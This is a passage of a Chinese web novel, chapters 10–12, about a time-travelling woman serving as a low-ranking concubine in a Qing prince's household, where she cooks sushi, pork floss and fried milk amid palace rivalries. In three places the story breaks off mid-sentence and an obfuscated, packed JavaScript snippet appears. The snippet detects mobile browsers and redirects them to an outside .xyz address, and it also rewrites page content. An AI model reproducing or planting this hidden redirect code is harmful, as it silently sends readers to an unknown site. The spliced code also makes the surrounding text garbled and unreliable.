清秀,白白净净,远远看像个小姑娘似的,很得主子欢心。 小全子虽然认识他,但不是很熟,打了个照面,互相问了声好,就打算各走各的路了。 可没走两步,江福竟出声将他唤住了。 “等等。” 江福虽然是个不起眼的小太监,可他干爹叫江荣,那可是翊坤宫的首领太监,宜妃娘娘面前的红人。 这么有背景,小全子哪敢怠慢,忙停下脚步。 “你这拿的是什么呀?”江福凑过来,绕着他来回打转,目光好奇,在小全子和食盒中间来回打转。 “没什么,一点食材罢了。” 江福显然不信:“食材?”他不顾小全子的阻挠,伸手直接将盖子掀开,等看清里面装着的东西,眼底忽然闪过一丝异样,而后微笑着慢悠悠地盖了回去,“主子还等着,快点回去吧。” 四月的风本该暖融融的,可被他这么盯着笑,小全子后背莫名爬过一丝凉意。 * 青芜院。 春芽和佩兰一人抱着一边秋千,两道目光直勾勾盯着刘菽圆的动作,眼睛眨都不眨。 只见格格先把一小碟酸酸的东西倒进碗里,和米饭搅匀,然后依次将黄瓜、胡萝卜、腊肠切成长条状,把金黄的蛋饼切成丝,又拿出了一张…… 紫菜? 不对,是紫菜做成的薄片,上面撒着盐和芝麻,听着很是酥脆。 “格格,您这是要做什么啊?”春芽忍不住发问,“我怎么从来没见过?” 她要是见过,该震惊的就是刘菽圆了。 “寿司,好吃的!”刘菽圆以前早餐最爱吃的就是这个,方便制作,营养丰富,还没什么刺激味道,饭点开会时和饭搭子偷吃了不少呢。 可春芽却皱起了眉:“好吃吗?” 怎么听着怪不吉利的? 春芽怯生生地躲在佩兰身后,眼睁睁地看她家格格又又又拿出了奇怪的东西。 一个小竹帘。 “先放一张海苔片,再铺上均匀的米饭,放上黄瓜条、胡萝卜条、腊肠条、鸡蛋丝……”刘菽圆一边卷,一边压实里面的食材,最后用力卷成一个圆柱形,才大功告成。 她用刀切成均匀的小段,又招呼两个宫女过来:“切好就能吃了,快来。不对,还少了一样关键的,番茄酱呢?” 佩兰一个大跨步,长臂一伸,将食盒里装着赤红色酱料的小碗递了过去:“是这个吗,格格?” “有眼色!一会多奖励你几个。”刘菽圆得意地一挑眉。 这可是她熬制几次才成功做出来的番茄酱,和原版一样酸酸甜甜的特别开胃。 挨个挤在寿司上,再摆个盘——大功告成。 “尝尝吧。” 刘菽圆满眼期待地望着她们,这个可是她最拿手之一,比那些专业寿司店里的还好吃。 “这……”春芽咽了下口水,“佩兰,要不你先尝吧?” 钢铁直女佩兰立刻伸筷子:“好!” “等等!”春芽拦住她,犹豫了几下,提议说,“要不奴婢还是给格格热热再吃吧?这米饭都凉了。” “寿司就是凉着吃的!”刘菽圆赶忙制止,“热了才没人吃呢,你要热了不就和麻婆豆腐里放草莓一样,作践东西,口感什么大打折扣了,这纯属浪费!” 可等了半晌,三人就这么一直大眼瞪小眼,刘菽圆期待地望向佩兰,佩兰又看向春芽,春芽则在原地忸怩,脸都快埋进衣领里了,半天不说话。 “都不吃?”刘菽圆觉得奇怪,“还是……不敢吃?” 这玩意儿看起来很可怕吗? 刘菽圆左看右看,颜色搭配也挺好看,闻着清香清香,也不像有毒啊。 “春芽?” 被点到名的春芽表情实在为难,其实她不是不相信自家格格的手艺,只是这东西它叫“受死”,她实在不敢尝试啊。 既然没人动筷子,刘菽圆一拍大腿:“那我给你们打个样儿,先吃为敬!” 当着两人面,刘菽圆小心翼翼地捏起一个寿司,朝她们各示意了下,正准备一口塞进嘴里,以身证明寿司的美味,背后却传来一个清朗的声音。 “且慢!” 10. 第 10 章 第十章 胤祺在阿哥所就听说刘菽圆又在琢磨新奇的吃食。离下学还有半刻钟,他虽盼着早些回去,却不好先走,便命李德禄先过去瞧瞧,其实他不饿,也没有胃口,只是刘菽圆总能做出他从来没见过的食物,就连膳房也得偷师,他实在好奇。 一走进青芜院,胤祺就听刘菽圆盛情邀请,却无人赏脸,还以为是什么怪异吃食。 走近一瞧,不过是张紫菜包着米饭黄瓜,还沾着些红色的酱料,这么一看红的、黄的、白的、绿的、黑的,颜色倒挺丰富,闻着也清爽,看起来颇有食欲。 “爷来尝尝。”他慢慢靠近,身上传来好闻的沉香味道。 胤祺刚练习完骑射回府,出了一身汗,赶忙命人提了热水沐浴,换了件月白色杭绸常服,抬手间袖口的暗纹竹叶若隐若现,腰间松松系着绦带,坠着枚双鱼玉佩,走路时一摇一晃。 李德禄不敢打扰胤祺的兴致,可两个小宫女都没吃,他终究不放心,秉着试毒的职责,颤颤巍巍地开口:“五爷,要不奴才先试试?” 胤祺筷子一顿,按说李德禄这话没毛病。阿哥们的饮食向来讲究,从食材采购到上桌,每一步都登记在册,还会有专人看守监督,食物上桌前,太监和宫女也都会“尝膳”,之前的膳食皆是如此。 清朝规矩多,怕遭人暗害,刘菽圆理解,果断往后撤了一小步给李德禄腾地方。 李德禄早让小太监取来了银制筷子,他将银筷戳进米饭里停了片刻,见筷子没变色,才将这块寿司放进嘴里,米饭颗颗分明,但带点酸味,可一点都不奇怪,他嚼得眉毛一颤一颤,看得春芽和佩兰都愣住了。 李公公真乃忠仆啊。 “怎么样?有事吗?”等了半晌不见动静,胤祺有些不耐烦,他头一回这么主动想尝个东西,偏被李德禄抢了先,一股莫名的烦躁顺着胸口涌了上来。 这个李德禄,他想吃直说便是,吃不停了?爷还在这等着呢。 片刻之后,李德禄终于点了点头。 胤祺这才放心地夹了一块放入口中。 不得不说,这口感还真奇特,未吃时就能闻到淡淡的酸味,吃进嘴里这股酸味竟神奇消失了,米饭软糯中带些嚼劲,吃着很爽口,包裹在外层的紫菜逐渐软化,咬开后舌尖泛起一种特殊的香味,咸香中透出一丝回甘,黄瓜脆爽,鸡蛋软嫩,腊肠微辣,米饭将它们黏在一起,一时间各种口感交织,偶尔咬破一粒芝麻,芝麻的油香瞬间在齿颊爆开! “这东西叫什么?”胤祺咽下最后一口,舌尖还留有一股淡淡的余味,手里的筷子又伸了过去,“清新柔和,挺合我的胃口。那红色的是番茄吧,怎么做得酸酸甜甜的?一点都不违和,好吃,真好吃。” 刘菽圆笑了,这只是最简单的一款,他这是没吃到金枪鱼、三文鱼、天妇罗、油豆腐做的呢。 除了这些,刘菽圆还做了肉松的,本来她想调些沙拉酱做几个紫米饭团,可如今紫米是贡品,以她的身份根本没资格用。 至于沙拉酱——直接卡在了开头,光是一个生蛋黄她就撤了,这年头没有可生食鸡蛋,里头的沙门氏菌可不是闹着玩的。做不成沙拉酱,刘菽圆便想试试别的,可思来想去都凑不齐核心材料,只好作罢。 “这叫寿司,是一种地方小吃。”刘菽圆一边给胤祺布菜,一边介绍,“也能叫紫菜包饭,我觉得现在……叫紫菜包饭更合适。” 毕竟啥配料也没有,只有紫菜和饭还有最简单的配料。 “原来也能叫别的名字啊。”春芽暗自松了口气,她在宫中多年,最忌讳不吉利的说法,既然还有别称,她便没了顾忌,也敢吃了。 可…… 还没等她咽咽口水,胤祺竟不知什么时候一个人悄咪咪地将一整盘的紫菜包饭都吃个精光! 啊这? 别说春芽,刘菽圆也愣了,不是,辛辛苦苦做了这么久,她还一口没吃呢! 但刘菽圆哪敢生气,这可是在清朝。 主子爱吃自己做的东西,是她这个格格的“荣幸”,再说胤祺吃得高兴,对她来说是件好事,她在院里的日子能更安稳舒坦,否则别说日常用度,就连去膳房点菜都可能被为难。 胤祺接过李德禄递来的帕子,擦了擦嘴:“名字特别,味道也不错,你辛苦了。” 他吃饱了,自己可还饿着呢。 “奴婢再做个肉松的,也可好吃了。”刘菽圆和俩宫女立刻又忙活起来,有了刚才的经验,这次速度明显快了许多,虽然做不成美味的甜辣酱、黄芥末酱、沙拉酱、蛋黄酱,但神通广大的膳房掌厨太监周福海送来了一种满族特色奶制品——乳酥酱,质感和沙拉酱很是相似,刘菽圆知胤祺不喜过甜,特意嘱咐周福海调味时少放些糖,虽然和沙拉酱味道不太像,但奶香味十足,味道也还好。 而肉松这种东西,在清朝还未出现。 宫里的做法多样,但猪肉多是做成红烧肉、酱肉、肉干这种,周福海看到制作方子时,再一次被刘菽圆的想法震惊:“这都什么做法?把猪肉煮烂撕成细丝,再加调料翻炒,这能好吃吗?” 尽管十分怀疑,但周福海还是选择相信她,并凭借几十年经验成功做了出来,味儿还挺好,只是可怜那撕丝儿的小太监,刚进膳房就得了这么个活计,还以为是什么美差,结果撕丝儿撕得都快疯了。 “五爷,请。”刘菽圆把做好的寿司放到胤祺面前。 这两种看着卖相更好了,可这什么肉松,松松散散的,蓬松得像棉花一样,这真的是猪肉做的? 带着几分好奇,胤祺先夹起了左边的肉松寿司,与刚才的完全不同,因为加了肉松的缘故,咀嚼间便能品出浓浓的肉香,肉松丝丝缕缕,咸香咸香的,味儿还真像看起来那样,棉花般蓬松柔软,和米饭海苔一起,意外的好吃。 “这可是肉松的,我最喜欢的味道。”想到现代美味丰富的寿司,刘菽圆忍不住流口水,“还有一种玉米的,我也挺喜欢,一口咬下去鲜甜鲜甜的,直接爆汁,原汁原味,轻盈爽口。” 可惜啊,玉米在康熙年间根本没有普及,也不是成熟的季节,她托人问询了许久,也没找到,那就算了,加点当地特色也行。 “油炸馃子放凉后切成小段,回锅复炸一次,这样外皮会更加酥脆;里面还有炒米,炒米拌上一层厚厚的乳酪酱,再裹上米饭,这个味道挺别致的,可以试试。” 右边这款寿司是她琢磨出的蒙古族吃法改良版,说实话,心里还是有点紧张的,要是在现代被蒙古族同胞知道她这么干,指不定要被网曝的。 这样想着,求生欲一下起来了,刘菽圆心里默念,这是在清朝,条件有限,莫怪莫怪啊。 胤祺依言又夹了一个,油炸馃子本就外酥内软,复炸后更加酥脆,碾碎后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221946|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加进米饭里,咬下去“咔嚓咔嚓”作响,而炒米自带干香,本就极脆,调和了乳酥酱后,有点像拌了奶嚼口的口感,再裹点米饭和海苔,味道怎么说呢,熟悉中带着一丝陌生。 吃不惯,当真是吃不惯。 “我还是觉得肉松的更好。”胤祺的筷子又伸向左边的瓷盘,“你这些菜都是从哪儿学的?清苑县以咸为主,倒是没听过还有寿司、拌饭什么的。” 刘菽圆心里一惊,现在的清苑县当然没有,可几百年后,这些吃食早就烂大街了,她只不过玩了个时间差而已。 “奴婢祖母在世时是个老饕,奴婢自小跟着祖母长大,耳濡目染学了不少,小的时候也问过祖母这些吃食的来历,可她没说,所以奴婢也不知道,或许祖母年少时游历四方?意外获取惊艳食谱,又或是有什么独特经历?奴婢说不准,只能胡乱猜测了。” 祖母素来疼她,就算知道被她拿来当作挡箭牌,只会笑着嗔怪她两句,不会计较的。 可胤祺听了这话,神情忽然有些失落。 “你也是在祖母膝下长大?” 刘菽圆点点头:“奴婢母亲去得早,父亲也没续弦,和祖母一同将我拉扯大,直到进宫前,父亲才认了三个义子,他平时忙于差事,也顾不上我,所以一直是祖母陪着我的。” 没有续弦?只有一女?这样的男子倒是罕见。 知晓她也是祖母陪伴着长大,胤祺不觉和她亲近了几分,这寿司小巧精致,味道也好,独他一人享用实在可惜。 “李德禄!” 被点到名的李德禄赶忙囫囵咽下嘴里的寿司,躬身听候吩咐。 “爷很喜欢这寿司,辛苦刘格格每样多做些,爷拿去给太后和兄弟们尝尝。” 多做些?是多少? 刘菽圆僵在原地,整个人像被雷劈了一样。 康熙那么多儿子,每个口味不得都做几条,每个阿哥还带着一大家子人,这得做到猴年马月啊,尤其她看到送来的米饭直接用木桶装着时,装都不装了,直接靠在佩兰身上,一脸的生无可恋。 再无恋也得硬着头皮做啊,谁让咱得了领导青睐。 好在胤祺也没想真的累死她,除了春芽、佩兰,李德禄还从膳房抽调了十几个小太监,这些人可都是厨子出身,手上都是有功夫的,刘菽圆教了一次便都会了,卷得比她自个儿还好看。 然后,寿司小作坊就轰轰烈烈地开始干活了。 等到她加完班,累的连句话都懒得说了,双手一直卷寿司都快抽筋了,关键做着做着就缺个东西,还得叫小全子去膳房拿。 寿司好吃,也不能当饭吃啊。 她不禁叹了口气,可惜阿哥所的小厨房需内务府报备,寻常侍妾不可私设,不然她就能用火自己做点别的好吃的,每天指望膳房做了送来,虽然省了不少功夫,可味道做法总得细细教,颇为麻烦。 没想到梦这么快就实现了! 她这边正给胤祺准备明天早膳吃的肉松寿司,戴嬷嬷领着内务府的十几个小太监风风火火地来了。 “太后娘娘听说格格擅长烹调美食,特命内务府在五爷院里建处小厨房,格格有什么新颖的美味也可及时做了给五爷奉上。” 什么!小厨房! 刘菽圆乐了,宫里娘娘人手一个的小厨房,能做藕粉桂花糖糕的小厨房? 她也拥有了?! 11. 第 11 章 第十一章 五阿哥的院子在整个阿哥所里算大的,内里也宽敞,加个小厨房完全不显拥挤,就是这选址让人发愁。 膳房和现代一样都讲究个“方便”,这小厨房本就是为胤祺所建,自然得离阿哥的居所近些,这样新做的膳食就能及时送到阿哥面前。可宁寿宫上下谁不知道,五阿哥其实没那么爱吃东西,先前好几次闻到荤腥油腻的气味,都忍不住直接吐了出来。 况且,做饭难免有油烟,这要是呛着了阿哥,金尊玉贵的,谁担待得起? 于是一伙人带着家伙,只能站在院中间直勾勾地盯着戴嬷嬷,等着她给个准话。 戴嬷嬷也不含糊,她对整个院落的布置了如指掌,来回走了两圈,便决定靠着墙在东边盖:“太后说,刘格格手艺好,以后就专给五阿哥做些新奇膳食,食材直接问御膳房领,若是阿哥吃着好,吃着高兴,那便是了了太后一大心事,少不了赏赐。” 话说回来,胤祺方才让手下的哈哈珠子们往各院里送寿司时,也不忘给宁寿宫送了一份。 太后出身蒙古,自是没见过这新奇吃法,胤祺也不敢呈上那炒米寿司,只说这小吃是自己侍妾的手艺。 太后一愣,等人走了赶紧传戴嬷嬷过来回话:“这是哪个侍妾做的?马佳氏还是你手底下那个?” 马佳氏是荣妃推荐的,说是自己的族亲,从小养得就精细,定是个好生养的,当日宜妃一直鼓吹说入了后院直接做个侧福晋,说不定过年就能抱上小阿哥。 可太后不喜欢宜妃,捎带着看荣妃也不顺眼。荣妃这些年渐渐失了宠,便开始拉拢宜妃,寻了各种礼物讨她欢心,两个人不知在背后搞了多少坏心思。前几天因为四公主的嫁妆,荣妃又撺掇宜妃在康熙身边吹了不少枕头风,硬生生要到了一百车嫁妆,到时出嫁再加上康熙、各宫妃嫔的添妆,少不一百四十车。 虽说阿哥纳妾,除了给阿哥通人事,也有为即将入府的福晋提前培养帮手的打算,但马佳氏表面看着恭敬,并不是个安分的,不然当初太后也不会只让她做个侍妾,如今她还耍小心思撺掇宫女闹事,可见太后识人精准,早有远见,如今罚她两个月份例都算轻的。 “刘菽圆……从前倒不知她还有这手艺,难得胤祺也喜欢,人也安分,真是捡到宝了。”太后戴着护甲的手轻轻一招,戴嬷嬷便附耳上前,可听到太后的话,却皱起了眉,颇有些难做,“太后……” 太后清楚戴嬷嬷顾忌什么,大手一挥:“哀家才不管那么多,总不能饿着我的乖孙,你去传旨吧,就说是我的意思,其他阿哥要是有意见,尽管来宁寿宫。” 见此,谨慎如戴嬷嬷也不好说什么,带着旨意就去了内务府。 内务府里的人不敢怠慢,这可是唯一一个在阿哥所里建小厨房的,又是太后亲自下旨,每个人都卯足了劲,虽说阿哥们成婚后便会建自己的府邸,五阿哥在阿哥所也住不了几年,可他们的差事也得用心。 工匠们手脚麻利,每日哼哧哼哧地忙活,只是没有机器,一时半会儿也完不了工。 但刘菽圆目睹着小厨房越发完善,想到过几个月就能在里头亲手做各种美食,这兴奋劲儿也跟着上涨。 “格格,您这是……”周福海领个小太监一同观摩,一脸的惊奇,先前刘菽圆做的什么番茄酱、肉松、海苔,已经让他大开眼界了,没想到这刘格格和吸了水的棉花似的,想出一道,又出一道,新花样层出不穷,现在居然要把牛奶给炸了?! 牛奶是水状的,直接下油锅会溅得到处都是,这怎么炸? 刘菽圆挑了挑眉:“学着点。” 她刚已经往牛奶里加了白糖和绿豆淀粉,和成糊状倒进了容器里,让小全子放到冰窖里冻了冻,现在凝固得刚刚好。 “切成小段,裹上蛋液,还有面包糠……不对,馒头碎,按这个步骤炸好就能吃啦。” 这里没有面包,刘菽圆便切碎馒头,油炸以后当面包糠用,效果还不错。 周福海半信半疑,纯牛奶直接往油锅里倒当然会溅油,但刘格格把牛奶块切得和凉粉差不多,再裹了蛋液,像他以前常做的炸馒头片,这样确实不会炸。 “放心啦周公公,我加材料的时候你都看见了,能挂住勺子,冻了之后又凝固得这么好,绝对没事,相信我!”刘菽圆拍着胸脯保证,“你要真害怕,要不我来?” “这怎么行?” 周福海立刻回绝,他一个膳房掌厨,手底下管着三十几个小太监,这时候退缩,脸面还要不要?威严还立不立? 他之前次次怀疑刘菽圆,结果都是白担心一场。 这次他暗暗发誓,要真的没事,味道也不错,以后她说什么他做什么,任劳任怨,唯命是从。 结果当然和刘菽圆预想的一样,除了没有面包糠,炸牛奶的味道、口感和现代几乎没差,她给大伙儿分了分,又做了三份,一份留给胤祺散学回来尝鲜,一份给自己当夜宵,还有一份给了戴嬷嬷,顺便带一碟膳房新做的黑芝麻糕。 晚膳是膳房做的,有红烧鸡块、口蘑烧菜心、鳆鱼炖鸭、八宝豆腐和水粉汤圆,都是周福海按刘菽圆的口味做的,胤祺也一起用了,但用得不多,只挑了几筷子口蘑和豆腐。 胤祺正吃着松仁馅儿的汤圆,忽然小太监进来,在李德禄耳边小声说了几句。 “五爷,绛水院的玳瑁说马格格病了,头疼得厉害,一直咳嗽,有些发烧,请您过去瞧瞧。”李德禄揣摩胤祺的表情,见他神色未动,试探地开口道,“还是奴才先去请个太医给马格格诊治?” 阿哥的侍妾没有资格私下请太医,须得阿哥和福晋传令,马佳芸珞被禁足以来,从未逾矩,可她被罚了份例,吃食上难免受亏待。宫里的人向来拜高踩低,日子久了,哪里还把她当作主子?反正一个小小侍妾,根本无足轻重。 更何况,她竟敢窥探主子的行踪,又贿赂戴嬷嬷,背后搞这些小动作扰得五爷后院一团糟,李德禄实在觉得心烦。 胤祺本就纯善,平日对身边的人也宽容,听闻马格格病了,立刻让李德禄拿牌子去太医院请个太医给马佳氏诊治,又吩咐膳房送些清淡易消化的菜。 “从我的私库给她送些银两,女子体弱,吃得不好自然容易生病,让她安心养病,过了禁足期,爷自然会去看她。” 李德禄应道:“是。” 胤祺放下瓷勺,一旁布菜伺候的春芽立刻递上帕子,“今日课业繁多,我先去书房,你慢用。” “恭送阿哥。” 走了正好!刘菽圆松了口气,领导在场吃饭,她总有些拘谨,胤祺还没走远她便急着招呼:“春芽,快!炖鸭炖鸭,还有鲍鱼,米饭上帮我浇点汤!” * 绛水院。 睡得昏昏沉沉的马佳芸珞终于睁开双眼,玳瑁急忙把她扶起,往后垫了几个靠垫: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221947|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “格格头还疼吗?小安子跟着徐太医取药了,您烧了整整一夜,吓死奴婢了。” 嗓子干得刺痛,玛瑙端来温水,轻手喂她喝下,马佳芸珞才回过神来,玳瑁让她靠在自己身上,轻柔地揉着太阳穴:“徐太医说这样能缓解疼痛,奴婢给您揉揉。” 太医?好像是有个人给她把脉,还给她灌了苦涩的汤药。 “五爷呢?什么时候走的?” 玳瑁和玛瑙对视一眼,主子病得这样重,可五爷却只是让人请了太医、送了米粥,都没移步过来看看她们格格,但这话怎么能说出口,岂不平白叫格格伤心吗。 玳瑁手上动作不停,强装镇定:“五爷说了,格格先养好身子,等格格……” “他没来。” 马佳芸珞推开玳瑁的手,重新躺回了床榻,她也说不清自己在难过什么,她的处境,他的态度,不是早就认清了吗?还在期待什么? 她无声地流着眼泪,小安子端着药汤站在门口,不知该不该进,还是玳瑁主动接过药汤,轻声安慰:“格格喝了药就不难受了,格格这些时日就好好歇歇,养足精神,留得青山在,不愁没柴烧。” 玳瑁说得对,绝不能认输!她不是孤单一人,她还有主子,主子不会不管她的! “快,把药拿来,我喝!”玳瑁将晾凉的苦药端来,捏着小勺准备喂她时,马佳芸珞竟端起瓷碗咕嘟咕嘟一口气全都灌进肚里,黑乎乎的汤药随着吞咽滑过喉咙,玳瑁擦去她嘴边残留的黑汁,把一枚小小的东西塞进她的嘴里。 苦味渐渐褪去,舌尖涌上松仁的甜香。 这是……家乡的松子蜜饯? 马佳芸珞侧身望向玳瑁,一把抓过好几个塞进嘴里,哽咽着说:“是,是盛京的蜜饯……”她边吃边抽泣,玳瑁轻轻拍着她的后背安慰,等到马佳芸珞冷静下来,这才解释:“给格格诊治的徐太医知道您也是盛京人,特意嘱咐奴婢拿给格格尝尝。” “是吗?” 马佳芸珞长叹一声,一个陌生的太医都比胤祺关心自己,想到这儿她忍不住自嘲地笑了笑,喝了药,烧便退了,可还有些头疼,她刚准备躺下,门外又传来几声鸟叫。 “外头是什么,吵死人了!” 玳瑁连忙回道:“是五爷赏给绛水院的鹦鹉,给格格解闷儿用的。” 解闷儿? 马佳芸珞冷了脸,她被禁足在此难道不是五爷授意的吗?如今送这么只鸟儿过来,这不是故意打她的脸吗? 她强压着心底的不快,语气尽量平稳:“去,把那畜生‘请’进来。” 玳瑁得了命令,使玛瑙使了个眼色,玛瑙立刻低着身子,提着鸟笼小心翼翼地送了进来,谁让这是宫里的鹦鹉,比她们这些低等的宫女金贵多了。 那鹦鹉毛茸茸的,浑身布满鲜艳的羽毛,翅膀是翠绿色,胸前则是橙红色,嘴壳弯曲呈勾状,尾羽又长又挺,小脑袋拨浪鼓似的来回转,眼睛滴溜溜地打量四周,瞅着十分机灵。 “这叫‘海南子’,是京城常见的品种。”玛瑙小声介绍着,见她没什么反应,双手捧起鸟食往前凑了凑,越发讨好道,“这鸟儿通人性,内务府特意教了几句吉祥话,新奇得很,主子要是闷得慌,要不听听?就当解乏了……” 马佳氏冷笑一声,在心里腹诽:“从前在家都看不上的东西,如今竟成了稀罕物了。” 养病是吗?好,那她便好好养! 12. 第 12 章 第十二章 时光飞逝,眨眼半个月过去。 小厨房有条不紊地修建着,已经能看清整个屋子的布局结构,屋内灶台、桌柜的摆设都初具雏形,一想到几十天后就有地方大展身手,想吃什么就能做什么,不用受份例里那几斤米、几斤肉的限制,刘菽圆做梦都要笑醒了。 按清朝的妻妾制度,福晋、侧福晋、庶福晋到格格,份例依次递减。刘菽圆作为最末等的格格,本该遵此规制,但胤祺大方,允许侍妾能在点膳时挪用他的份例,冬日也可多分些炭火,还时不时赏赐绸缎做新衣裳,这待遇,比那些扒皮公司不知好了多少倍。 也幸而胤祺这个大领导懂得体谅下属,不然上个月那场“倒春寒”她非冻出病来不可。 这样算下来,这格格当着还是挺舒服的,刘菽圆知道五阿哥胤祺压根没参与康熙晚年的“九子夺嫡”,他素日低调温和,性格敦厚,四阿哥胤禛继位后虽然也遭到打压,解除了部分职务,但能保留爵位,还可以传给子孙,相比那些被圈禁、削爵、折磨致死的阿哥,这结局绝对算最好了。 回过头来仔细想想,除了性格,他从小被出身蒙古的太后抚养,或许从一开始,康熙根本就没考虑纳他为继承人,胤祺自小连汉话都不会说,天资不算出众,在兄弟间也没什么存在感,谁说不是另一种躺平呢? 领导突然变“摸鱼”同事,刘菽圆顿时觉得心情格外舒畅。 她往鱼缸里大方地撒着鱼食,幻想她在天女散花一般,鱼儿争先抢着吃食,刘菽圆俯下身默声数着:“一、二、三……六!” 不愧是她!养了这么久的鱼,一条也没死! “我可太厉害了。”刘菽圆扬起双臂,头枕在交叠的手腕上,美滋滋地欣赏她的宠物,“鱼我都能养得这么好,一个个肥嘟嘟的。” 春芽和佩兰默契地转头对视一眼,双双在眼里看到对主子的无奈。 要不是她们时刻盯着,不断拦着,鱼早就被你喂死啦!谁家的鱼一顿喂十八回啊! 刘菽圆盯着鱼缸琢磨半晌,忽然眼前一亮:“不过鱼缸这么大,要不给他们来点别的舍友?我应该也能养活。” “你们说,我再养点什么好呢?”刘菽圆挠着下巴,慢慢回忆常看的那些清宫剧里都有啥。 好像有部剧,一个贵妃在自己宫里养了孔雀…… 刘菽圆猛地拍了拍自己的脸,醒醒吧!保护动物你也敢想? 不过特别一点的,好像也没什么了……总不能养老虎吧,多不现实。 见刘菽圆一会儿摇头、一会儿点头,两个宫女都看呆了,他们不会猜到,自家主子才养了金鱼,都有胆量敢养“百兽之王”了。 春芽提议:“格格不如养兔子吧,前两日五爷给五公主带了两只,听说洁白如雪,两只眼睛和红宝石一样,兔子性格温顺,还很有灵性呢。” 佩兰却不赞同:“依奴婢看,还是猫猫狗狗最可爱,奴婢小时候养过一只橘猫,又贪吃又嗜睡,一天要喂好几顿,胖乎乎的特别乖,都说宠物要和主人脾性相合,格格,橘猫怎么样?” 谢谢,这是在说她肥吗?有被打击到。 刘菽圆悄悄捏了捏腰间的软肉,痛苦地闭上双眼,虽然这是事实,可亲耳听到还是叫人心碎:“佩兰你饿了吧,多吃点驴打滚。” 糊住嘴,就不会蹦出伤人的话了。 “橘猫是乖巧,可奴婢担心它会不会伸爪子够格格的金鱼啊?好不容易救活,不是,养活,耗费了不少心血,万一……主子您觉得呢?”春芽察觉到刘菽圆的失落,连忙往回找补,见她听进去了,暗暗松了口气。 刘菽圆来回踱步仔细思量,养宠物是为了陶冶心灵,为幸福的咸鱼生活添砖加瓦。 橘猫虽好,若误伤了她的爱鱼,那可不行。 “养龟吧。”关键时候,还是刘菽圆拍板决定,“慢吞吞的和我多像,直接扔鱼缸里,就当和小金鱼们当合租室友了。”刘菽圆对这个决定表示非常满意。 佩兰却冷不丁插嘴:“乌龟会吃金鱼。” “乌龟不是吃草的吗?”刘菽圆满脸震惊,“什么时候改吃肉?没人通知我啊。” 佩兰认真科普了好一阵子,从幼龟和成龟的习性,到金鱼的生活状态都细细地讲了一遍,听得刘菽圆连连鼓掌。 “你从哪儿学的?” 刘菽圆感叹,有这本事都能去动物园、兽医院直接上岗了。 佩兰木讷一笑:“奴婢以前在内务府专门负责照料这些,还有兔子、画眉、鹦鹉、蟋蟀、蜜蜂、螳螂……” 画风越来越不对了。 “那就这么定了!养龟的事全权交给你负责!我相信你!”刘菽圆大臂一挥,端起身后桌上的两盘糕点,笑着说,“这绿豆糕、白糖糕都是给你的奖励,养得好的话,格格我还有重赏。” 佩兰爱吃,平日看见糕点就走不动道,见主子如此信任,她便笑呵呵地接过,直接往嘴里塞了两块,含糊不清地应道:“谢谢格格!奴婢一定尽心!” 看见她们这般亲昵,春芽委屈了:“主子真是偏心,光顾着赏佩兰,春芽也出力了啊。” “吃醋了?”刘菽圆凑近戳了戳她的脸蛋,“你本事那么大,我自有用处!” 春芽被哄得直笑,一路跟着格格走进偏殿,等看清她手里的东西,嘴角的笑却僵在原地,怎么也笑不出来了。 “好春芽,你不是一直都想学钩织吗?这样,我把粉荷送你,而且答应教你做最喜欢的月季,你就发发善心,帮我绣了吧。”刘菽圆拽着春芽的手臂来回地晃,“若我明早交不了,戴嬷嬷定要罚我了。” 话说马佳芸珞被禁足之后,戴嬷嬷便想好好整肃下胤祺的后院。刘菽圆虽乖巧安分,可行事太过怠懒,居然连基本的刺绣都忘得一干二净!宜妃生辰将近,身为人子的五阿哥定要携礼请安,别说刘格格,就连禁足的马格格都得备好亲手刺绣的帕子、荷包聊表心意,倘若连这点心思都不肯花,岂不是叫那些个多嘴的说五阿哥“治家不严”?指责他不孝么? 荷包帕子并不贵重,戴嬷嬷也知道宜妃那性子,根本不会用这些东西,不过为了面子好看罢了。 即使“应付差事”,也得好好准备啊,断不能叫马格格借着这点由头占了上风,更显得刘格格一无是处。 要刘菽圆说,这事还真不是这个理儿。她觉得亲手做个糕点都比绣什么手帕子强,一来人家瞧不上咱,更不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221948|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭理,二来她这“爱吃会做”的人设都传到太后她老人家跟前了,不按照人设呈道美食,反而去练她并不擅长的刺绣,纯属白费功夫。 再说了,人家宜妃用惯了精致的绣样儿,寻常刺绣哪能入得了她的眼?除非你绣花惊艳到能引来蝴蝶,否则人家肯定觉得你不用心,故意敷衍。 当然说到底,是刘菽圆自己懒得动。 